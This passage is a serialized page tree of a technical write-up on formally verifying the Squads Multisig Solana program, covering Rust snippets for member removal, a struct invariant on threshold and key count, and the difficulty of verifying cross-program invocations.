26,"tag":475,"props":26615,"children":26616},{"style":714},[26617],{"type":32,"value":179},{"type":26,"tag":475,"props":26619,"children":26620},{"style":482},[26621],{"type":32,"value":8769},{"type":26,"tag":475,"props":26623,"children":26624},{"style":499},[26625],{"type":32,"value":2425},{"type":26,"tag":475,"props":26627,"children":26628},{"class":477,"line":679},[26629,26633,26637,26641],{"type":26,"tag":475,"props":26630,"children":26631},{"style":2375},[26632],{"type":32,"value":25032},{"type":26,"tag":475,"props":26634,"children":26635},{"style":714},[26636],{"type":32,"value":179},{"type":26,"tag":475,"props":26638,"children":26639},{"style":505},[26640],{"type":32,"value":21097},{"type":26,"tag":475,"props":26642,"children":26643},{"style":499},[26644],{"type":32,"value":579},{"type":26,"tag":475,"props":26646,"children":26647},{"class":477,"line":735},[26648,26653,26657,26661],{"type":26,"tag":475,"props":26649,"children":26650},{"style":2375},[26651],{"type":32,"value":26652}," data",{"type":26,"tag":475,"props":26654,"children":26655},{"style":714},[26656],{"type":32,"value":179},{"type":26,"tag":475,"props":26658,"children":26659},{"style":714},[26660],{"type":32,"value":25000},{"type":26,"tag":475,"props":26662,"children":26663},{"style":499},[26664],{"type":32,"value":2425},{"type":26,"tag":475,"props":26666,"children":26667},{"class":477,"line":744},[26668,26672,26676,26680],{"type":26,"tag":475,"props":26669,"children":26670},{"style":2375},[26671],{"type":32,"value":25053},{"type":26,"tag":475,"props":26673,"children":26674},{"style":714},[26675],{"type":32,"value":179},{"type":26,"tag":475,"props":26677,"children":26678},{"style":903},[26679],{"type":32,"value":2752},{"type":26,"tag":475,"props":26681,"children":26682},{"style":499},[26683],{"type":32,"value":2425},{"type":26,"tag":475,"props":26685,"children":26686},{"class":477,"line":753},[26687],{"type":26,"tag":475,"props":26688,"children":26689},{"style":499},[26690],{"type":32,"value":25074},{"type":26,"tag":475,"props":26692,"children":26693},{"class":477,"line":761},[26694],{"type":26,"tag":475,"props":26695,"children":26696},{"style":499},[26697],{"type":32,"value":25082},{"type":26,"tag":475,"props":26699,"children":26700},{"class":477,"line":770},[26701,26705,26709,26713,26717,26721],{"type":26,"tag":475,"props":26702,"children":26703},{"style":2375},[26704],{"type":32,"value":25090},{"type":26,"tag":475,"props":26706,"children":26707},{"style":714},[26708],{"type":32,"value":179},{"type":26,"tag":475,"props":26710,"children":26711},{"style":505},[26712],{"type":32,"value":25099},{"type":26,"tag":475,"props":26714,"children":26715},{"style":499},[26716],{"type":32,"value":1101},{"type":26,"tag":475,"props":26718,"children":26719},{"style":714},[26720],{"type":32,"value":9300},{"type":26,"tag":475,"props":26722,"children":26723},{"style":499},[26724],{"type":32,"value":25112},{"type":26,"tag":475,"props":26726,"children":26727},{"class":477,"line":794},[26728],{"type":26,"tag":475,"props":26729,"children":26730},{"style":499},[26731],{"type":32,"value":3607},{"type":26,"tag":35,"props":26733,"children":26734},{},[26735],{"type":32,"value":26736},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":26,"tag":35,"props":26738,"children":26739},{},[26740,26742,26748],{"type":32,"value":26741},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":26,"tag":53,"props":26743,"children":26745},{"className":26744},[],[26746],{"type":32,"value":26747},"Ms::remove_member",{"type":32,"value":179},{"type":26,"tag":465,"props":26750,"children":26752},{"code":26751,"language":2684,"meta":7,"className":2685,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[26753],{"type":26,"tag":53,"props":26754,"children":26755},{"__ignoreMap":7},[26756,26815,26846,26853],{"type":26,"tag":475,"props":26757,"children":26758},{"class":477,"line":478},[26759,26763,26767,26771,26775,26779,26783,26787,26791,26795,26799,26803,26807,26811],{"type":26,"tag":475,"props":26760,"children":26761},{"style":586},[26762],{"type":32,"value":15285},{"type":26,"tag":475,"props":26764,"children":26765},{"style":2375},[26766],{"type":32,"value":25544},{"type":26,"tag":475,"props":26768,"children":26769},{"style":714},[26770],{"type":32,"value":353},{"type":26,"tag":475,"props":26772,"children":26773},{"style":499},[26774],{"type":32,"value":14382},{"type":26,"tag":475,"props":26776,"children":26777},{"style":714},[26778],{"type":32,"value":353},{"type":26,"tag":475,"props":26780,"children":26781},{"style":499},[26782],{"type":32,"value":23511},{"type":26,"tag":475,"props":26784,"children":26785},{"style":714},[26786],{"type":32,"value":353},{"type":26,"tag":475,"props":26788,"children":26789},{"style":499},[26790],{"type":32,"value":20691},{"type":26,"tag":475,"props":26792,"children":26793},{"style":714},[26794],{"type":32,"value":353},{"type":26,"tag":475,"props":26796,"children":26797},{"style":493},[26798],{"type":32,"value":8849},{"type":26,"tag":475,"props":26800,"children":26801},{"style":499},[26802],{"type":32,"value":13750},{"type":26,"tag":475,"props":26804,"children":26805},{"style":714},[26806],{"type":32,"value":8287},{"type":26,"tag":475,"props":26808,"children":26809},{"style":903},[26810],{"type":32,"value":4234},{"type":26,"tag":475,"props":26812,"children":26813},{"style":499},[26814],{"type":32,"value":579},{"type":26,"tag":475,"props":26816,"children":26817},{"class":477,"line":516},[26818,26822,26826,26830,26834,26838,26842],{"type":26,"tag":475,"props":26819,"children":26820},{"style":586},[26821],{"type":32,"value":16695},{"type":26,"tag":475,"props":26823,"children":26824},{"style":493},[26825],{"type":32,"value":23227},{"type":26,"tag":475,"props":26827,"children":26828},{"style":499},[26829],{"type":32,"value":626},{"type":26,"tag":475,"props":26831,"children":26832},{"style":505},[26833],{"type":32,"value":23236},{"type":26,"tag":475,"props":26835,"children":26836},{"style":714},[26837],{"type":32,"value":3187},{"type":26,"tag":475,"props":26839,"children":26840},{"style":505},[26841],{"type":32,"value":25620},{"type":26,"tag":475,"props":26843,"children":26844},{"style":499},[26845],{"type":32,"value":3533},{"type":26,"tag":475,"props":26847,"children":26848},{"class":477,"line":539},[26849],{"type":26,"tag":475,"props":26850,"children":26851},{"style":499},[26852],{"type":32,"value":3607},{"type":26,"tag":475,"props":26854,"children":26855},{"class":477,"line":548},[26856,26860,26864,26868,26872,26876,26880,26884,26888,26892,26896,26900],{"type":26,"tag":475,"props":26857,"children":26858},{"style":2375},[26859],{"type":32,"value":19988},{"type":26,"tag":475,"props":26861,"children":26862},{"style":714},[26863],{"type":32,"value":353},{"type":26,"tag":475,"props":26865,"children":26866},{"style":499},[26867],{"type":32,"value":14382},{"type":26,"tag":475,"props":26869,"children":26870},{"style":714},[26871],{"type":32,"value":353},{"type":26,"tag":475,"props":26873,"children":26874},{"style":499},[26875],{"type":32,"value":23511},{"type":26,"tag":475,"props":26877,"children":26878},{"style":714},[26879],{"type":32,"value":353},{"type":26,"tag":475,"props":26881,"children":26882},{"style":493},[26883],{"type":32,"value":25167},{"type":26,"tag":475,"props":26885,"children":26886},{"style":499},[26887],{"type":32,"value":626},{"type":26,"tag":475,"props":26889,"children":26890},{"style":2375},[26891],{"type":32,"value":25500},{"type":26,"tag":475,"props":26893,"children":26894},{"style":499},[26895],{"type":32,"value":2835},{"type":26,"tag":475,"props":26897,"children":26898},{"style":714},[26899],{"type":32,"value":2863},{"type":26,"tag":475,"props":26901,"children":26902},{"style":499},[26903],{"type":32,"value":2729},{"type":26,"tag":35,"props":26905,"children":26906},{},[26907,26909,26915,26917,26923],{"type":32,"value":26908},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":26,"tag":53,"props":26910,"children":26912},{"className":26911},[],[26913],{"type":32,"value":26914},"Ms::is_member",{"type":32,"value":26916},") and if it is not, it simply skips the removal and returns ",{"type":26,"tag":53,"props":26918,"children":26920},{"className":26919},[],[26921],{"type":32,"value":26922},"Ok(())",{"type":32,"value":353},{"type":26,"tag":465,"props":26925,"children":26927},{"code":26926,"language":2684,"meta":7,"className":2685,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[26928],{"type":26,"tag":53,"props":26929,"children":26930},{"__ignoreMap":7},[26931,26995,27054,27091,27150,27218,27225,27232,27243],{"type":26,"tag":475,"props":26932,"children":26933},{"class":477,"line":478},[26934,26938,26942,26946,26950,26954,26958,26962,26966,26971,26975,26979,26983,26987,26991],{"type":26,"tag":475,"props":26935,"children":26936},{"style":482},[26937],{"type":32,"value":13397},{"type":26,"tag":475,"props":26939,"children":26940},{"style":482},[26941],{"type":32,"value":13402},{"type":26,"tag":475,"props":26943,"children":26944},{"style":493},[26945],{"type":32,"value":25466},{"type":26,"tag":475,"props":26947,"children":26948},{"style":499},[26949],{"type":32,"value":626},{"type":26,"tag":475,"props":26951,"children":26952},{"style":714},[26953],{"type":32,"value":2816},{"type":26,"tag":475,"props":26955,"children":26956},{"style":482},[26957],{"type":32,"value":3430},{"type":26,"tag":475,"props":26959,"children":26960},{"style":482},[26961],{"type":32,"value":13504},{"type":26,"tag":475,"props":26963,"children":26964},{"style":499},[26965],{"type":32,"value":637},{"type":26,"tag":475,"props":26967,"children":26968},{"style":2375},[26969],{"type":32,"value":26970},"member",{"type":26,"tag":475,"props":26972,"children":26973},{"style":714},[26974],{"type":32,"value":179},{"type":26,"tag":475,"props":26976,"children":26977},{"style":505},[26978],{"type":32,"value":20565},{"type":26,"tag":475,"props":26980,"children":26981},{"style":499},[26982],{"type":32,"value":2794},{"type":26,"tag":475,"props":26984,"children":26985},{"style":714},[26986],{"type":32,"value":13464},{"type":26,"tag":475,"props":26988,"children":26989},{"style":505},[26990],{"type":32,"value":13469},{"type":26,"tag":475,"props":26992,"children":26993},{"style":499},[26994],{"type":32,"value":20039},{"type":26,"tag":475,"props":26996,"children":26997},{"class":477,"line":516},[26998,27002,27007,27012,27016,27021,27025,27029,27033,27037,27042,27046,27050],{"type":26,"tag":475,"props":26999,"children":27000},{"style":586},[27001],{"type":32,"value":11988},{"type":26,"tag":475,"props":27003,"children":27004},{"style":482},[27005],{"type":32,"value":27006}," let",{"type":26,"tag":475,"props":27008,"children":27009},{"style":505},[27010],{"type":32,"value":27011}," Some",{"type":26,"tag":475,"props":27013,"children":27014},{"style":499},[27015],{"type":32,"value":626},{"type":26,"tag":475,"props":27017,"children":27018},{"style":2375},[27019],{"type":32,"value":27020},"ind",{"type":26,"tag":475,"props":27022,"children":27023},{"style":499},[27024],{"type":32,"value":2794},{"type":26,"tag":475,"props":27026,"children":27027},{"style":714},[27028],{"type":32,"value":786},{"type":26,"tag":475,"props":27030,"children":27031},{"style":482},[27032],{"type":32,"value":13504},{"type":26,"tag":475,"props":27034,"children":27035},{"style":714},[27036],{"type":32,"value":353},{"type":26,"tag":475,"props":27038,"children":27039},{"style":493},[27040],{"type":32,"value":27041},"is_member",{"type":26,"tag":475,"props":27043,"children":27044},{"style":499},[27045],{"type":32,"value":626},{"type":26,"tag":475,"props":27047,"children":27048},{"style":2375},[27049],{"type":32,"value":26970},{"type":26,"tag":475,"props":27051,"children":27052},{"style":499},[27053],{"type":32,"value":676},{"type":26,"tag":475,"props":27055,"children":27056},{"class":477,"line":539},[27057,27062,27066,27070,27074,27079,27083,27087],{"type":26,"tag":475,"props":27058,"children":27059},{"style":482},[27060],{"type":32,"value":27061}," self",{"type":26,"tag":475,"props":27063,"children":27064},{"style":714},[27065],{"type":32,"value":353},{"type":26,"tag":475,"props":27067,"children":27068},{"style":499},[27069],{"type":32,"value":20691},{"type":26,"tag":475,"props":27071,"children":27072},{"style":714},[27073],{"type":32,"value":353},{"type":26,"tag":475,"props":27075,"children":27076},{"style":493},[27077],{"type":32,"value":27078},"remove",{"type":26,"tag":475,"props":27080,"children":27081},{"style":499},[27082],{"type":32,"value":626},{"type":26,"tag":475,"props":27084,"children":27085},{"style":2375},[27086],{"type":32,"value":27020},{"type":26,"tag":475,"props":27088,"children":27089},{"style":499},[27090],{"type":32,"value":3533},{"type":26,"tag":475,"props":27092,"children":27093},{"class":477,"line":548},[27094,27098,27102,27106,27110,27114,27118,27122,27126,27130,27134,27138,27142,27146],{"type":26,"tag":475,"props":27095,"children":27096},{"style":586},[27097],{"type":32,"value":2980},{"type":26,"tag":475,"props":27099,"children":27100},{"style":482},[27101],{"type":32,"value":13504},{"type":26,"tag":475,"props":27103,"children":27104},{"style":714},[27105],{"type":32,"value":353},{"type":26,"tag":475,"props":27107,"children":27108},{"style":499},[27109],{"type":32,"value":20691},{"type":26,"tag":475,"props":27111,"children":27112},{"style":714},[27113],{"type":32,"value":353},{"type":26,"tag":475,"props":27115,"children":27116},{"style":493},[27117],{"type":32,"value":8849},{"type":26,"tag":475,"props":27119,"children":27120},{"style":499},[27121],{"type":32,"value":25745},{"type":26,"tag":475,"props":27123,"children":27124},{"style":505},[27125],{"type":32,"value":16307},{"type":26,"tag":475,"props":27127,"children":27128},{"style":714},[27129],{"type":32,"value":3187},{"type":26,"tag":475,"props":27131,"children":27132},{"style":493},[27133],{"type":32,"value":19182},{"type":26,"tag":475,"props":27135,"children":27136},{"style":499},[27137],{"type":32,"value":626},{"type":26,"tag":475,"props":27139,"children":27140},{"style":482},[27141],{"type":32,"value":13420},{"type":26,"tag":475,"props":27143,"children":27144},{"style":714},[27145],{"type":32,"value":353},{"type":26,"tag":475,"props":27147,"children":27148},{"style":499},[27149],{"type":32,"value":25790},{"type":26,"tag":475,"props":27151,"children":27152},{"class":477,"line":558},[27153,27158,27162,27166,27170,27174,27178,27182,27186,27190,27194,27198,27202,27206,27210,27214],{"type":26,"tag":475,"props":27154,"children":27155},{"style":482},[27156],{"type":32,"value":27157}," self",{"type":26,"tag":475,"props":27159,"children":27160},{"style":714},[27161],{"type":32,"value":353},{"type":26,"tag":475,"props":27163,"children":27164},{"style":499},[27165],{"type":32,"value":20779},{"type":26,"tag":475,"props":27167,"children":27168},{"style":714},[27169],{"type":32,"value":786},{"type":26,"tag":475,"props":27171,"children":27172},{"style":482},[27173],{"type":32,"value":13504},{"type":26,"tag":475,"props":27175,"children":27176},{"style":714},[27177],{"type":32,"value":353},{"type":26,"tag":475,"props":27179,"children":27180},{"style":499},[27181],{"type":32,"value":20691},{"type":26,"tag":475,"props":27183,"children":27184},{"style":714},[27185],{"type":32,"value":353},{"type":26,"tag":475,"props":27187,"children":27188},{"style":493},[27189],{"type":32,"value":8849},{"type":26,"tag":475,"props":27191,"children":27192},{"style":499},[27193],{"type":32,"value":13586},{"type":26,"tag":475,"props":27195,"children":27196},{"style":714},[27197],{"type":32,"value":353},{"type":26,"tag":475,"props":27199,"children":27200},{"style":493},[27201],{"type":32,"value":25863},{"type":26,"tag":475,"props":27203,"children":27204},{"style":499},[27205],{"type":32,"value":13586},{"type":26,"tag":475,"props":27207,"children":27208},{"style":714},[27209],{"type":32,"value":353},{"type":26,"tag":475,"props":27211,"children":27212},{"style":493},[27213],{"type":32,"value":3371},{"type":26,"tag":475,"props":27215,"children":27216},{"style":499},[27217],{"type":32,"value":3376},{"type":26,"tag":475,"props":27219,"children":27220},{"class":477,"line":582},[27221],{"type":26,"tag":475,"props":27222,"children":27223},{"style":499},[27224],{"type":32,"value":750},{"type":26,"tag":475,"props":27226,"children":27227},{"class":477,"line":596},[27228],{"type":26,"tag":475,"props":27229,"children":27230},{"style":499},[27231],{"type":32,"value":851},{"type":26,"tag":475,"props":27233,"children":27234},{"class":477,"line":610},[27235,27239],{"type":26,"tag":475,"props":27236,"children":27237},{"style":505},[27238],{"type":32,"value":14040},{"type":26,"tag":475,"props":27240,"children":27241},{"style":499},[27242],{"type":32,"value":14045},{"type":26,"tag":475,"props":27244,"children":27245},{"class":477,"line":650},[27246],{"type":26,"tag":475,"props":27247,"children":27248},{"style":499},[27249],{"type":32,"value":3607},{"type":26,"tag":35,"props":27251,"children":27252},{},[27253,27255,27260,27262,27268,27270,27276,27278,27283],{"type":32,"value":27254},"Inside ",{"type":26,"tag":53,"props":27256,"children":27258},{"className":27257},[],[27259],{"type":32,"value":26914},{"type":32,"value":27261},", we see that it performs a ",{"type":26,"tag":53,"props":27263,"children":27265},{"className":27264},[],[27266],{"type":32,"value":27267},"binary_search",{"type":32,"value":27269}," on the keys vec and returns the index or ",{"type":26,"tag":53,"props":27271,"children":27273},{"className":27272},[],[27274],{"type":32,"value":27275},"None",{"type":32,"value":27277},". Since the vec has size zero, this will just return ",{"type":26,"tag":53,"props":27279,"children":27281},{"className":27280},[],[27282],{"type":32,"value":27275},{"type":32,"value":353},{"type":26,"tag":465,"props":27285,"children":27287},{"code":27286,"language":2684,"meta":7,"className":2685,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[27288],{"type":26,"tag":53,"props":27289,"children":27290},{"__ignoreMap":7},[27291,27360,27403,27442,27464,27471],{"type":26,"tag":475,"props":27292,"children":27293},{"class":477,"line":478},[27294,27298,27302,27307,27311,27315,27319,27323,27327,27331,27335,27339,27343,27348,27352,27356],{"type":26,"tag":475,"props":27295,"children":27296},{"style":482},[27297],{"type":32,"value":13397},{"type":26,"tag":475,"props":27299,"children":27300},{"style":482},[27301],{"type":32,"value":13402},{"type":26,"tag":475,"props":27303,"children":27304},{"style":493},[27305],{"type":32,"value":27306}," is_member",{"type":26,"tag":475,"props":27308,"children":27309},{"style":499},[27310],{"type":32,"value":626},{"type":26,"tag":475,"props":27312,"children":27313},{"style":714},[27314],{"type":32,"value":2816},{"type":26,"tag":475,"props":27316,"children":27317},{"style":482},[27318],{"type":32,"value":13420},{"type":26,"tag":475,"props":27320,"children":27321},{"style":499},[27322],{"type":32,"value":637},{"type":26,"tag":475,"props":27324,"children":27325},{"style":2375},[27326],{"type":32,"value":26970},{"type":26,"tag":475,"props":27328,"children":27329},{"style":714},[27330],{"type":32,"value":179},{"type":26,"tag":475,"props":27332,"children":27333},{"style":505},[27334],{"type":32,"value":20565},{"type":26,"tag":475,"props":27336,"children":27337},{"style":499},[27338],{"type":32,"value":2794},{"type":26,"tag":475,"props":27340,"children":27341},{"style":714},[27342],{"type":32,"value":13464},{"type":26,"tag":475,"props":27344,"children":27345},{"style":505},[27346],{"type":32,"value":27347}," Option",{"type":26,"tag":475,"props":27349,"children":27350},{"style":499},[27351],{"type":32,"value":5519},{"type":26,"tag":475,"props":27353,"children":27354},{"style":505},[27355],{"type":32,"value":16307},{"type":26,"tag":475,"props":27357,"children":27358},{"style":499},[27359],{"type":32,"value":6994},{"type":26,"tag":475,"props":27361,"children":27362},{"class":477,"line":516},[27363,27367,27371,27375,27379,27383,27387,27391,27395,27399],{"type":26,"tag":475,"props":27364,"children":27365},{"style":586},[27366],{"type":32,"value":14460},{"type":26,"tag":475,"props":27368,"children":27369},{"style":482},[27370],{"type":32,"value":13504},{"type":26,"tag":475,"props":27372,"children":27373},{"style":714},[27374],{"type":32,"value":353},{"type":26,"tag":475,"props":27376,"children":27377},{"style":499},[27378],{"type":32,"value":20691},{"type":26,"tag":475,"props":27380,"children":27381},{"style":714},[27382],{"type":32,"value":353},{"type":26,"tag":475,"props":27384,"children":27385},{"style":493},[27386],{"type":32,"value":27267},{"type":26,"tag":475,"props":27388,"children":27389},{"style":499},[27390],{"type":32,"value":626},{"type":26,"tag":475,"props":27392,"children":27393},{"style":714},[27394],{"type":32,"value":2816},{"type":26,"tag":475,"props":27396,"children":27397},{"style":2375},[27398],{"type":32,"value":26970},{"type":26,"tag":475,"props":27400,"children":27401},{"style":499},[27402],{"type":32,"value":676},{"type":26,"tag":475,"props":27404,"children":27405},{"class":477,"line":539},[27406,27410,27414,27418,27422,27426,27430,27434,27438],{"type":26,"tag":475,"props":27407,"children":27408},{"style":505},[27409],{"type":32,"value":14518},{"type":26,"tag":475,"props":27411,"children":27412},{"style":499},[27413],{"type":32,"value":626},{"type":26,"tag":475,"props":27415,"children":27416},{"style":2375},[27417],{"type":32,"value":27020},{"type":26,"tag":475,"props":27419,"children":27420},{"style":499},[27421],{"type":32,"value":2794},{"type":26,"tag":475,"props":27423,"children":27424},{"style":714},[27425],{"type":32,"value":2360},{"type":26,"tag":475,"props":27427,"children":27428},{"style":505},[27429],{"type":32,"value":27011},{"type":26,"tag":475,"props":27431,"children":27432},{"style":499},[27433],{"type":32,"value":626},{"type":26,"tag":475,"props":27435,"children":27436},{"style":2375},[27437],{"type":32,"value":27020},{"type":26,"tag":475,"props":27439,"children":27440},{"style":499},[27441],{"type":32,"value":6450},{"type":26,"tag":475,"props":27443,"children":27444},{"class":477,"line":548},[27445,27450,27455,27460],{"type":26,"tag":475,"props":27446,"children":27447},{"style":2375},[27448],{"type":32,"value":27449}," _",{"type":26,"tag":475,"props":27451,"children":27452},{"style":714},[27453],{"type":32,"value":27454}," =>",{"type":26,"tag":475,"props":27456,"children":27457},{"style":505},[27458],{"type":32,"value":27459}," None",{"type":26,"tag":475,"props":27461,"children":27462},{"style":499},[27463],{"type":32,"value":2425},{"type":26,"tag":475,"props":27465,"children":27466},{"class":477,"line":558},[27467],{"type":26,"tag":475,"props":27468,"children":27469},{"style":499},[27470],{"type":32,"value":851},{"type":26,"tag":475,"props":27472,"children":27473},{"class":477,"line":582},[27474],{"type":26,"tag":475,"props":27475,"children":27476},{"style":499},[27477],{"type":32,"value":3607},{"type":26,"tag":35,"props":27479,"children":27480},{},[27481,27483,27488,27490,27495,27497,27502,27504,27509],{"type":32,"value":27482},"So interestingly, a ",{"type":26,"tag":53,"props":27484,"children":27486},{"className":27485},[],[27487],{"type":32,"value":20691},{"type":32,"value":27489}," vec of size 0 ",{"type":26,"tag":2615,"props":27491,"children":27492},{},[27493],{"type":32,"value":27494},"is actually",{"type":32,"value":27496}," a sufficient condition to execute ",{"type":26,"tag":53,"props":27498,"children":27500},{"className":27499},[],[27501],{"type":32,"value":25167},{"type":32,"value":27503},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":26,"tag":2615,"props":27505,"children":27506},{},[27507],{"type":32,"value":27508},"valid",{"type":32,"value":27510}," multisig, the number of keys should never be zero.",{"type":26,"tag":35,"props":27512,"children":27513},{},[27514,27516,27521],{"type":32,"value":27515},"We can represent this ",{"type":26,"tag":2615,"props":27517,"children":27518},{},[27519],{"type":32,"value":27520},"validity",{"type":32,"value":27522}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":26,"tag":465,"props":27524,"children":27526},{"code":27525,"language":2684,"meta":7,"className":2685,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27527],{"type":26,"tag":53,"props":27528,"children":27529},{"__ignoreMap":7},[27530,27537,27560,27611,27618],{"type":26,"tag":475,"props":27531,"children":27532},{"class":477,"line":478},[27533],{"type":26,"tag":475,"props":27534,"children":27535},{"style":499},[27536],{"type":32,"value":20486},{"type":26,"tag":475,"props":27538,"children":27539},{"class":477,"line":516},[27540,27544,27548,27552,27556],{"type":26,"tag":475,"props":27541,"children":27542},{"style":499},[27543],{"type":32,"value":24430},{"type":26,"tag":475,"props":27545,"children":27546},{"style":714},[27547],{"type":32,"value":353},{"type":26,"tag":475,"props":27549,"children":27550},{"style":499},[27551],{"type":32,"value":20779},{"type":26,"tag":475,"props":27553,"children":27554},{"style":714},[27555],{"type":32,"value":9652},{"type":26,"tag":475,"props":27557,"children":27558},{"style":499},[27559],{"type":32,"value":20788},{"type":26,"tag":475,"props":27561,"children":27562},{"class":477,"line":539},[27563,27567,27571,27575,27579,27583,27587,27591,27595,27599,27603,27607],{"type":26,"tag":475,"props":27564,"children":27565},{"style":714},[27566],{"type":32,"value":15327},{"type":26,"tag":475,"props":27568,"children":27569},{"style":499},[27570],{"type":32,"value":20712},{"type":26,"tag":475,"props":27572,"children":27573},{"style":714},[27574],{"type":32,"value":353},{"type":26,"tag":475,"props":27576,"children":27577},{"style":499},[27578],{"type":32,"value":20779},{"type":26,"tag":475,"props":27580,"children":27581},{"style":482},[27582],{"type":32,"value":8553},{"type":26,"tag":475,"props":27584,"children":27585},{"style":505},[27586],{"type":32,"value":13438},{"type":26,"tag":475,"props":27588,"children":27589},{"style":714},[27590],{"type":32,"value":7908},{"type":26,"tag":475,"props":27592,"children":27593},{"style":499},[27594],{"type":32,"value":13504},{"type":26,"tag":475,"props":27596,"children":27597},{"style":714},[27598],{"type":32,"value":353},{"type":26,"tag":475,"props":27600,"children":27601},{"style":499},[27602],{"type":32,"value":20691},{"type":26,"tag":475,"props":27604,"children":27605},{"style":714},[27606],{"type":32,"value":353},{"type":26,"tag":475,"props":27608,"children":27609},{"style":499},[27610],{"type":32,"value":20840},{"type":26,"tag":475,"props":27612,"children":27613},{"class":477,"line":548},[27614],{"type":26,"tag":475,"props":27615,"children":27616},{"style":499},[27617],{"type":32,"value":19966},{"type":26,"tag":475,"props":27619,"children":27620},{"class":477,"line":558},[27621,27625,27629,27633,27637,27641],{"type":26,"tag":475,"props":27622,"children":27623},{"style":482},[27624],{"type":32,"value":13397},{"type":26,"tag":475,"props":27626,"children":27627},{"style":482},[27628],{"type":32,"value":20859},{"type":26,"tag":475,"props":27630,"children":27631},{"style":505},[27632],{"type":32,"value":20864},{"type":26,"tag":475,"props":27634,"children":27635},{"style":499},[27636],{"type":32,"value":1101},{"type":26,"tag":475,"props":27638,"children":27639},{"style":714},[27640],{"type":32,"value":9300},{"type":26,"tag":475,"props":27642,"children":27643},{"style":499},[27644],{"type":32,"value":1116},{"type":26,"tag":35,"props":27646,"children":27647},{},[27648,27650,27656,27658,27664],{"type":32,"value":27649},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":26,"tag":53,"props":27651,"children":27653},{"className":27652},[],[27654],{"type":32,"value":27655},"keys.len() == 0",{"type":32,"value":27657}," and allows us to prove the biconditional ",{"type":26,"tag":53,"props":27659,"children":27661},{"className":27660},[],[27662],{"type":32,"value":27663},"(keys.len() >= 1) -> (instruction succeeds)",{"type":32,"value":353},{"type":26,"tag":41,"props":27666,"children":27668},{"id":27667},"safety-guarantees",[27669],{"type":32,"value":22493},{"type":26,"tag":35,"props":27671,"children":27672},{},[27673],{"type":32,"value":27674},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":26,"tag":35,"props":27676,"children":27677},{},[27678],{"type":32,"value":27679},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":26,"tag":35,"props":27681,"children":27682},{},[27683,27685,27691],{"type":32,"value":27684},"In the multisig program this happens in the ",{"type":26,"tag":53,"props":27686,"children":27688},{"className":27687},[],[27689],{"type":32,"value":27690},"execute_transaction",{"type":32,"value":27692}," instruction.",{"type":26,"tag":35,"props":27694,"children":27695},{},[27696],{"type":26,"tag":2615,"props":27697,"children":27698},{},[27699],{"type":32,"value":27700},"So what do you do?",{"type":26,"tag":35,"props":27702,"children":27703},{},[27704],{"type":32,"value":27705},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":26,"tag":465,"props":27707,"children":27709},{"code":27708,"language":2684,"meta":7,"className":2685,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[27710],{"type":26,"tag":53,"props":27711,"children":27712},{"__ignoreMap":7},[27713,27728,27744,27759,27800,27807,27814,27821,27838,27854,27875,27882,27889,27905,27925,27953,27960,27967,27974,27982,28035,28061,28068,28097,28121,28156,28163,28174],{"type":26,"tag":475,"props":27714,"children":27715},{"class":477,"line":478},[27716,27720,27724],{"type":26,"tag":475,"props":27717,"children":27718},{"style":499},[27719],{"type":32,"value":22546},{"type":26,"tag":475,"props":27721,"children":27722},{"style":505},[27723],{"type":32,"value":22551},{"type":26,"tag":475,"props":27725,"children":27726},{"style":499},[27727],{"type":32,"value":19966},{"type":26,"tag":475,"props":27729,"children":27730},{"class":477,"line":516},[27731,27735,27740],{"type":26,"tag":475,"props":27732,"children":27733},{"style":482},[27734],{"type":32,"value":13397},{"type":26,"tag":475,"props":27736,"children":27737},{"style":505},[27738],{"type":32,"value":27739}," MyCtx",{"type":26,"tag":475,"props":27741,"children":27742},{"style":499},[27743],{"type":32,"value":579},{"type":26,"tag":475,"props":27745,"children":27746},{"class":477,"line":539},[27747,27751,27755],{"type":26,"tag":475,"props":27748,"children":27749},{"style":499},[27750],{"type":32,"value":22838},{"type":26,"tag":475,"props":27752,"children":27753},{"style":482},[27754],{"type":32,"value":3430},{"type":26,"tag":475,"props":27756,"children":27757},{"style":499},[27758],{"type":32,"value":19966},{"type":26,"tag":475,"props":27760,"children":27761},{"class":477,"line":548},[27762,27766,27771,27775,27779,27783,27787,27791,27796],{"type":26,"tag":475,"props":27763,"children":27764},{"style":482},[27765],{"type":32,"value":20551},{"type":26,"tag":475,"props":27767,"children":27768},{"style":2375},[27769],{"type":32,"value":27770}," 